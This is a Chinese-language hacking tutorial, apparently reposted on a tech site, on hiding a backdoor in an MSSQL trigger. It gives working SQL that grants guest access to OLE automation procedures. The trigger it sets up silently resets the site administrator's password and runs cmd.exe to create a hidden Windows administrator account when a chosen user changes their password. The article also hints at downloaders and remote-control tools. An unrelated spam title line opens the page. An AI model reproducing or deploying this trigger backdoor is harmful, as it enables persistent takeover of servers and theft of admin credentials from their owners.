自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

基于SQL觸發(fā)器的服務器后門

安全 黑客攻防
很多東西如果不經(jīng)常去用,沉積在腦袋里的東西就會慢慢沉寂.這個手法很久以前就存在了.昨天寫代碼的時候不得不用到觸發(fā)器實現(xiàn)某些功能,才想起來利用這個自從觸發(fā)器功能被開發(fā)出來就存在的后門……

很多東西如果不經(jīng)常去用,沉積在腦袋里的東西就會慢慢沉寂.這個手法很久以前就存在了.昨天寫代碼的時候不得不用到觸發(fā)器實現(xiàn)某些功能,才想起來利用這個自從觸發(fā)器功能被開發(fā)出來就存在的后門,mssql里其實可以放置很多后門,比如在sql里創(chuàng)建一個始終存在的遠程連接之類,當然了,今天的題目是觸發(fā)器,其他的暫且放在一邊.

這個后門其實可用度極廣,通常管理員會把主要精力放在查詢系統(tǒng)用戶,或者是否有黑客添加了sql用戶等狀態(tài)的查詢上,然而對某些庫的權限做出了改動,往往不是他們注意到的重點,我們利用的也正是這一點.

假設我已經(jīng)拿到一臺數(shù)據(jù)庫服務器,這時我們當然可以對數(shù)據(jù)庫完全操作,我們首先需要對master表里的某些我們需要使用的擴展存儲過程作出修改,這里當然要先用SA身份來執(zhí)行:

 

grant execute on master..sp_OACreate to guest
grant execute on master..sp_oamethod to guest

語句都很簡單,僅僅是對sp_oamethod賦予guest組用戶的執(zhí)行權限,這里由于SQL的特殊機制(我這里是SQL2000 SP4),即使我們賦予了XP_CMDSHELL的執(zhí)行權限,依然無法在普通用戶下運行,若是打算使用,猜想應該要重新修改xplog70.dll并創(chuàng)建存儲過程,這是大牛該做的事,與我們無關.暫且略過.

雖然網(wǎng)站和數(shù)據(jù)庫分離的狀況很常見,我們這里先說不分離的時候,我們拿到數(shù)據(jù)庫服務器權限,這里當然可以隨意查看網(wǎng)站代碼,我以本機為環(huán)境給大家比較直觀的展示.

存在一個admin表,是存放用戶帳戶的地方,當然了,可以是user或者其他表,只是給出一個演示,結(jié)構如下:

 

通常我們以自身的帳戶登陸網(wǎng)站后,都會提供密碼修改的服務,我們這里僅以這點來演示,其他方式可以根據(jù)實際情況自行研究.我假設我注冊了一個用戶名為hacker的用戶(這里用戶名越特殊越好,萬一帳戶被刪除,別人搶注的幾率也低),我想通過這里的密碼修改來做一個系統(tǒng)后門,可以先在SQL創(chuàng)建一個觸發(fā)器,內(nèi)容如下:

CREATE TRIGGER [shell] ON [admin] 
for update
AS
DECLARE @password nvarchar(256)

select @password=password   FROM Inserted where username='hacker'
IF (@password='backdoor')
BEGIN
update admin set name=password,password='hacker' where username='admin'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user
huangzi huangzi /add & net localgroup administrators huangzi /add'
END

當用戶名為hacker這個用戶把密碼修改為backdoor的時候(這里不要照貓畫虎,我這里密碼直接進的數(shù)據(jù)庫沒有經(jīng)過加密,一般的網(wǎng)站代碼會把密碼經(jīng)過加密再寫進數(shù)據(jù)庫,可能是md5或者其他加密手段,就需要修改一下了),實現(xiàn)2個功能:
1. 用戶名為admin的用戶原來的密碼被保存在name字段里,而且新密碼為hacker,這樣我們就可以用管理員的帳戶登陸進去,然后傳shell或者做其他事,使用完畢以后再把密碼修改回來,我們一開始就保存了原始密碼,當然恢復起來很簡單.這樣的操作主要用于數(shù)據(jù)庫和網(wǎng)站分離時,當然如果不分離的話,下面第2個功能實際上可以做更多的事

2.使用sp_oacreate和sp_oamethod創(chuàng)建一個新的用戶名和密碼皆為huangzi的管理員帳戶,這里可以做許多變化,自行研究,這里僅僅是給出方法.
     
關于代碼的部分基本已經(jīng)陳述完畢,給出演示圖感性認識一下:

我沒有觸發(fā)條件以前:

 

 

 

 

 

 隨便修改下密碼,但不觸發(fā)條件:

 

 

 

 

 

接下來是把用戶hacker的密碼修改為backdoor,觸發(fā)了條件

 

 

  

 

 

可以看到,管理員admin的原始密碼被寫進了name字段,現(xiàn)在的密碼為hacker,更重要的是,系統(tǒng)用戶已經(jīng)添加進去了.

如果數(shù)據(jù)庫和網(wǎng)站分離的話,可以上網(wǎng)的話比較好辦,寫下載者上遠控或者端口轉(zhuǎn)發(fā)出來.不可上網(wǎng)的話,我們之前修改了管理員的密碼可以進后臺看看有沒有機會,當然了變化很多不是一時半會能講完的,關鍵看環(huán)境,再決定手法.

【編輯推薦】

  1. 淺談SQL Server觸發(fā)器的使用
  2. 簡析SQL Server 2005加強的十大安全舉措
  3. 小心WEB獅木馬竊取WEB服務器網(wǎng)絡空間信息
  4. 思科表示IOS的FTP功能可成為黑客后門
責任編輯:佚名 來源: 黑客風云
相關推薦

2011-03-28 10:05:57

sql觸發(fā)器代碼

2009-04-07 13:56:03

SQL Server觸發(fā)器實例

2011-05-20 14:06:25

Oracle觸發(fā)器

2010-10-20 14:34:48

SQL Server觸

2010-07-16 10:19:31

2010-11-12 15:35:55

SQL Server約

2010-09-13 17:03:34

sql server觸

2010-09-01 16:40:00

SQL刪除觸發(fā)器

2011-04-14 10:53:00

MySQLSQL觸發(fā)器

2011-03-03 09:30:24

downmoonsql登錄觸發(fā)器

2011-04-19 10:48:05

Oracle觸發(fā)器

2010-11-10 13:37:01

SQL Server觸

2021-08-05 07:28:27

SQL觸發(fā)器結(jié)構

2010-10-22 11:10:43

SQL Server觸

2010-11-08 11:49:24

SQL Server管

2010-07-06 14:47:03

SQL Server數(shù)

2011-04-14 13:54:22

Oracle觸發(fā)器

2011-05-19 14:29:49

Oracle觸發(fā)器語法

2010-10-12 10:04:15

MySQL觸發(fā)器

2010-05-31 18:06:07

MySQL 觸發(fā)器
點贊
收藏

51CTO技術棧公眾號